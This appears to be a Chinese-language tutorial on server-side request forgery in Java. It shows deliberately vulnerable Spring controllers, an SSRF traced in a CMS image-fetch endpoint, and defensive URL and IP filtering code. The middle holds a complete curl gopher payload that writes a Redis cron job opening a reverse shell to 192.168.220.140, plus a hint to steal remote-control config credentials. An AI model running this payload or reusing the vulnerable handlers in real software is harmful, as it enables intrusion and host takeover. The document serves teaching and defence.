SSRF漏洞,全称Server Side Request Forgery(服务端请求伪造)。是一种 Web 安全漏洞,允许攻击者诱导服务器端应用程序向非预期位置发出请求。SSRF漏洞攻击的目标是从外网无法访问的内网系统。在典型的SSRF漏洞攻击中,攻击者可通过该漏洞攻击目标服务器的内网系统,比如:探测内网服务(通过响应不同判断),扫描开放端口(通过响应不同判断),使用File协议读取本地文件等操作。若存在redis协议,我们可以配合gopher协议进行攻击。
SSRF黑盒可能出现地方:
1、社交分享功能:获取超链接的标题等内容进行显示。
2、转码服务:通过URL地址把原地址的网页内容优调使其适合手机屏幕浏览
3、在线翻译:给网址翻译对应网页内容。
4、图片加载/下载:例如富文本编辑器中的点击图片下载到本地:通过URL地址加载或下载图片。
访问内网,私有ip,进行爆破查询。
5、图片/文章收藏功能:主要获取URL地址中title以及文本内容作为显示以求一个好的用户体验。
6、云服务器厂商:它会远程执行命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试。
7、网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集操作。
8、数据库内置功能:数据库例如mongodb的copyDatabase函数。
9、邮件系统:比如接收右键服务器地址。
10、编码处理,属性信息处理,文件处理:例如ffpmg,lmageMagick,docx,pdf,xml处理器等。
11、未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SRF漏洞
share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
12、从远程服务器请求资源(upload from url 如discuz!;import&expost rss feed如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc php)在相关重要服务部署在内网,我们无法访问,但是可以通过服务器来实现访问测试。例如如下相关渗透测试流程。

Java网络请求支持的协议包括:http,https,file,ftp,mailto,jar,netdoc。如下图所示:

这里我举两个例子,通过相关本地搭建的简易测试代码,并开启本机的3306端口(数据库端口)来验证我们的相关SSRF漏洞。

相关源码环境搭建

HttpClient 是Apache Jakarta Common 下的子项目,可以用来提供高效的、最新的、功能丰富的支持 HTTP 协议的客户端编程工具包,并且它支持 HTTP 协议最新的版本和建议。HttpClient 实现了 HTTP1.0 和 HTTP1.1。也实现了 HTTP 全部的方法,如:GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE。
依赖:
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<version>4.5.12</version>
</dependency>@RestController
@RequestMapping("/ssrfvul")
public class HttpClientController {
//访问链接:http://ip:port/ssrfvul/httpclient/vul?url=https://www.baidu.com
@GetMapping("/httpclient/vul")
public String HttpClientDemo(@RequestParam String url) throws IOException {
StringBuilder result = new StringBuilder();
//创建Httpclient对象
CloseableHttpClient client = HttpClients.createDefault();
//创建GET请求
HttpGet httpGet = new HttpGet(url);
//发送请求
HttpResponse httpResponse = client.execute(httpGet);
//获取响应内容
BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
String line;
while ((line = rd.readLine()) != null) {
result.append(line);
}
return result.toString();
}
}
访问url:http://127.0.0.1:8088/ssrfvul/httpclient/vul

添加url参数http://127.0.0.1:8088/ssrfvul/httpclient/vul?url=http://www.baidu.com

探测本地服务,端口存在,且回显内容。

不存在的话,就可能回显500(回显500不一定就是端口未开放,一些Http协议不支持的端口也可能出现500)

java.net.URLConnection,是Java原生的HTTP请求方法。URLConnection 类包含了许多方法可以让你的 URL 在网络上通信。此类的实例既可用于读取URL所引用的资源,也可用于写入URL所引用资源。相关测试代码如下:
package com.example.ssrfdemo;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
@RestController
@RequestMapping("/ssrfvul")
public class UrlConnectionController {
//访问链接:http://ip:port/ssrfvul/urlconnection/vul?url=https://www.baidu.com
@GetMapping("/urlconnection/vul")
public String UrlConnectionDemo(@RequestParam String url) throws IOException {
StringBuilder result = new StringBuilder();
URL url1 = new URL(url);
URLConnection urlConn = url1.openConnection();
urlConn.connect();
BufferedReader in = new BufferedReader(new InputStreamReader(
urlConn.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
result.append(inputLine);
}
in.close();
return result.toString();
}
}

访问url:http://127.0.0.1:8088/ssrfvul/urlconnection/vul?url=http://www.baidu.com,可以看到跳转到了百度的页面。

这里可以尝试一些协议,例如file协议读取文件,在windows中,常读取的测试文件为"c:/windows/win.ini"

我们也可以读取远控文件,例如向日葵的配置文件,解密后即可登录进入相关主机。可以看看我上一篇文章的介绍。

某系统存在未授权SSRF漏洞,首先搭建环境,配置好数据库和maven,运行即可。

访问本地8080端口,环境搭建成功。

全局搜索SSRF漏洞函数,例如openConnection函数,跟踪相关调用该函数引用点。这里看到是144行调用了相关代码,且相关参数是src。

向上追踪,发现src是source[]传入的一个数组赋值给src,source是通过前端参数进行引入的。

主要代码分析
protected void ueditorCatchImage(Site site, HttpServletRequest request,
HttpServletResponse response) throws IOException {
String[] source = request.getParameterValues("source[]");
//前端传入sourcep[]数组参数
if (source == null) {
source = new String[0];
}
//循环遍历sorce[]中的值
for (int i = 0; i < source.length; i++) {
String src = source[i];
//获取文件扩展名
String extension = FilenameUtils.getExtension(src);
// 格式验证是否有效
if (!gu.isExtensionValid(extension, Uploader.IMAGE)) {
// state = "Extension Invalid";
// 如果扩展名无效,跳过该图片
continue;
}
//设置不跟随重定向
HttpURLConnection.setFollowRedirects(false);
// 打开与远程图片的连接
HttpURLConnection conn = (HttpURLConnection) new URL(src).openConnection();我们向上分析,是谁调用了ueditorCatchImage函数,发现是ueditorCatchImage使用了该函数,寻找触发方式。

在上面看到了ueditorCatchImage触发方式,要求为action参数需要包含ueditorCatchImage,才可以触发。

其主接口为/core/ueditor.do

访问url:http://127.0.0.1:8080/cmscp/core/ueditor.do

进行构造,例如http://127.0.0.1:8080/cmscp/core/ueditor.doaction=catchimage&source[]=http://www.baidu.com/,访问成功。

试试内网探测呢,3306(开启)和3307(关闭)端口存活情况。发现有很大的差异。


当我们发现ssrf后,可以查看其是否支持gopher协议,通过gopher协议配合redis进行rce。例如以下文章。
https://mp.weixin.qq.com/s/yrOrTFtB7TEhGcOeitJSCA
curl -v 'http://xxx.xxx.xx.xx/xx.php?url= gopher://172.21.0.2:6379/ _*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
其他的SSRF利用,可以看看以下文章:
https://mp.weixin.qq.com/s/RNgBo0WQp8lrthk9k8P-3A
1、安全代码参考来源:https://github.com/j3ers3/Hello-Java-Sec
// 判断是否是http类型
public static boolean isHttp(String url) {
return url.startsWith("http://") || url.startsWith("https://");
}
// 判断是否为内网
public static boolean isIntranet(String url) {
Pattern reg = Pattern.compile("^(127\\.0\\.0\\.1)|(localhost)|(10\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})|(172\\.((1[6-9])|(2\\d)|(3[01]))\\.\\d{1,3}\\.\\d{1,3})|(192\\.168\\.\\d{1,3}\\.\\d{1,3})$");
Matcher match = reg.matcher(url);
Boolean a = match.find();
return a;
}
// 不允许跳转或判断跳转
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setInstanceFollowRedirects(false); // 不允许重定向或者对重定向后的地址做二次判断
conn.connect();package org.joychou.security;
import org.joychou.config.WebConfig;
import org.joychou.security.ssrf.SSRFChecker;
import org.joychou.security.ssrf.SocketHook;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.URI;
import java.net.URISyntaxException;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.regex.Pattern;
public class SecurityUtil {
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
/**
* Determine if the URL starts with HTTP.
*
* @param url url
* @return true or false
*/
public static boolean isHttp(String url) {
return url.startsWith("http://") || url.startsWith("https://");
}
/**
* Get http url host.
*
* @param url url
* @return host
*/
public static String gethost(String url) {
try {
URI uri = new URI(url);
return uri.getHost().toLowerCase();
} catch (URISyntaxException e) {
return "";
}
}
/**
* 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。
* 优先判断黑名单,如果满足黑名单return null。
*
* @param url the url need to check
* @return Safe url returns original url; Illegal url returns null;
*/
public static String checkURL(String url) {
if (null == url){
return null;
}
ArrayList<String> safeDomains = WebConfig.getSafeDomains();
ArrayList<String> blockDomains = WebConfig.getBlockDomains();
try {
String host = gethost(url);
// 必须http/https
if (!isHttp(url)) {
return null;
}
// 如果满足黑名单返回null
if (blockDomains.contains(host)){
return null;
}
for(String blockDomain: blockDomains) {
if(host.endsWith("." + blockDomain)) {
return null;
}
}
// 支持多级域名
if (safeDomains.contains(host)){
return url;
}
// 支持一级域名
for(String safedomain: safeDomains) {
if(host.endsWith("." + safedomain)) {
return url;
}
}
return null;
} catch (NullPointerException e) {
logger.error(e.toString());
return null;
}
}
/**
* 通过自定义白名单域名处理SSRF漏洞。如果URL范围收敛,强烈建议使用该方案。
* 这是最简单也最有效的修复方式。因为SSRF都是发起URL请求时造成,大多数场景是图片场景,一般图片的域名都是CDN或者OSS等,所以限定域名白名单即可完成SSRF漏洞修复。
*
* @author JoyChou @ 2020-03-30
* @param url 需要校验的url
* @return Safe url returns true. Dangerous url returns false.
*/
public static boolean checkSSRFByWhitehosts(String url) {
return SSRFChecker.checkURLFckSSRF(url);
}
/**
* 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。
*
* 存在的问题:
* 1、会主动发起请求,可能会有性能问题
* 2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案
* 3、TTL设置为0会被绕过
*
* @param url check的url
* @return 安全返回true,危险返回false
*/
@Deprecated
public static boolean checkSSRF(String url) {
int checkTimes = 10;
return SSRFChecker.checkSSRF(url, checkTimes);
}
/**
* 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。
*
* 存在问题:
* 1、TTL为0会被绕过
* 2、使用重定向可绕过
*
* @param url The url that needs to check.
* @return Safe url returns true. Dangerous url returns false.
*/
public static boolean checkSSRFWithoutRedirect(String url) {
if(url == null) {
return false;
}
return !SSRFChecker.isInternalIpByUrl(url);
}
/**
* Check ssrf by hook socket. Start socket hook.
*
* @author liergou @ 2020-04-04 02:15
*/
public static void startSSRFHook() throws IOException {
SocketHook.startHook();
}
/**
* Close socket hook.
*
* @author liergou @ 2020-04-04 02:15
**/
public static void stopSSRFHook(){
SocketHook.stopHook();
}
/**
* Filter file path to prevent path traversal vulns.
*
* @param filepath file path
* @return illegal file path return null
*/
public static String pathFilter(String filepath) {
String temp = filepath;
// use while to sovle multi urlencode
while (temp.indexOf('%') != -1) {
try {
temp = URLDecoder.decode(temp, "utf-8");
} catch (UnsupportedEncodingException e) {
logger.info("Unsupported encoding exception: " + filepath);
return null;
} catch (Exception e) {
logger.info(e.toString());
return null;
}
}
if (temp.contains("..") || temp.charAt(0) == '/') {
return null;
}
return filepath;
}
public static String cmdFilter(String input) {
if (!FILTER_PATTERN.matcher(input).matches()) {
return null;
}
return input;
}
/**
* 过滤mybatis中order by不能用#的情况。
* 严格限制用户输入只能包含<code>a-zA-Z0-9_-.</code>字符。
*
* @param sql sql
* @return 安全sql,否则返回null
*/
public static String sqlFilter(String sql) {
if (!FILTER_PATTERN.matcher(sql).matches()) {
return null;
}
return sql;
}
/**
* 将非<code>0-9a-zA-Z/-.</code>的字符替换为空
*
* @param str 字符串
* @return 被过滤的字符串
*/
public static String replaceSpecialStr(String str) {
StringBuilder sb = new StringBuilder();
str = str.toLowerCase();
for(int i = 0; i < str.length(); i++) {
char ch = str.charAt(i);
// 如果是0-9
if (ch >= 48 && ch <= 57 ){
sb.append(ch);
}
// 如果是a-z
else if(ch >= 97 && ch <= 122) {
sb.append(ch);
}
else if(ch == '/' || ch == '.' || ch == '-'){
sb.append(ch);
}
}
return sb.toString();
}
public static void main(String[] args) {
}
}